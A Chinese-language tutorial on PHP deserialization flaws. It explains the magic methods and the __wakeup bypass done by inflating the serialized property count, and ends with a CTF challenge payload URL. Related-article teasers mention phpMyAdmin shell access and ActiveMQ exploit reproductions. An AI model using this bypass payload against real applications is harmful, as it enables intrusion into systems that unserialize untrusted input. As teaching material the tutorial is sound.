PHP反序列化漏洞(1)
背景
Serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
常见方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
比较重要的方法
__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
__wakeup()
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
__wakeup()函数用法:
wakeup()是用在反序列化操作中。unserialize()会检查存在一个wakeup()方法。如果存在,则先会调用__wakeup()方法。
php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
最后页面输出了Hello。在反序列化的时候存在__wakeup()函数,所以最后就会输出Hello。
__wakeup()函数漏洞说明:
php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
}
$s = new Student();
var_dump(serialize($s));
最后页面上输出的就是Student对象的一个序列化输出:
O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}
其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。
wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。
当我们将上述的序列化的字符串中的对象属性个数修改为5,变为
O:7:"Student":5:
{s:9:"full_name";
s:8:"zhangsan";
s:5:"score";
i:150;
s:6:"grades";
a:0:{}}
最后执行运行的代码如下:
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();
function __wakeup() {
echo "__wakeup is invoked";
}
function __destruct() {
var_dump($this);
}
}
$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
这样就成功地绕过了__wakeup()函数。
例子:
php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$test = new xctf(); //使用new运算符来实例化该类(xctf)的对象为test
echo(serialize($test)); //输出被序列化的对象(test)
执行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";},要反序列化xctf类的同时还要绕过wakeup方法的执行,如果不绕过就会输出bad requests并退出。
修改:http://111.198.29.45:50545/code=O:4:"xctf":5:{s:4:"flag";s:3:"111";}
PHP反序列化漏洞(1) 相关文章
Composer 安装与使用
Composer 是 PHP 的一个依赖管理工具。我们可以在项目中声明所依赖的外部工具库,Composer 会帮你安装这些依赖的库文件,有了它,我们就可以很轻松的使用一个命令将其他人的优秀代码引用到我们的项目中来。 Composer 默认情况下不是全局安装,而是基于指定的
分析PHPmyadmin漏洞以及拿shell的介绍
下面由 phpmyadmin 教程栏目给大家介绍关于PHPmyadmin漏洞和拿shell,希望对需要的朋友有所帮助! phpmyadmin的漏洞相对来说,还是比较多的,对于新手来说,分享几个漏洞,深入的处于代码审计方面的也可以和我讨论 phpmyadmin2.11.3-2.11.4 这两个版本存在万
php如何获取私有属性的值
最近要导入一下数据,要把一个项目的部分数据导入到另一个项目中 采用laravel的chunkById段落查询方法,一次查询2K,然后批量入库,由于这个表没啥改动,可以直接查询后导入 遇到的问题是,查询后的数据属性是一个数组,要手动组装下才能直接入库,字段有点
thinkphp5.0 文件上传和生成略缩图
对应手册:点击查询 php设置上传文件大小(修改php.ini配置,修改后记得重启Apache或者Nginx): 上传图片方法(需要的地方调用即可 $this-upload_logo 返回图片路径) private function upload_logo() { //获取上传的文件 $file = request()-file('logo');
PHP | 运算符优先级
运算符的优先级,通常来说,最好还是通过括号来明确表明运算顺序,不应该依靠运算符的优先级和结合性来决定,通常能增加代码的可读性 示例题目1 $a = $b = 0;if ($a=3 || $b=3) { $a++; $b++;}echo $a . PHP_EOL . $b;//可以打出你们的答案 示例题目2 $a = $b =
thinkphp5.0 分页和搜索
对应手册:点击查询 应用案例(商品分页和搜索) 模板: style type="text/css" .pagination li{list-style:none;float:left;margin-left:10px; padding:0 10px; background-color:#5a98de; border:1px solid #ccc; height:26px; line-height:26px; cursor:p
composer
Composer 是 PHP 用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。 对于现代语言而言,包管理器基本上是标配。Java有Maven,Python有pip,Ruby有gem,Nodejs有npm。
漏洞复现-ActiveMq任意文件写入漏洞(CVE-2016-3088)
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 未禁用 PUT 、 MOVE 等高危方法的ActiveMq版本(可自行尝试) 0x02 漏洞复现 (1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显
漏洞复现-ActiveMq反序列化漏洞(CVE-2015-5254)
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 Apache ActiveMQ 5.13.0之前的5.x版本 0x02 漏洞复现 (1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为: (2)使用默认口
PHP——文件处理
处理 PHP拥有多种函数可供创建、读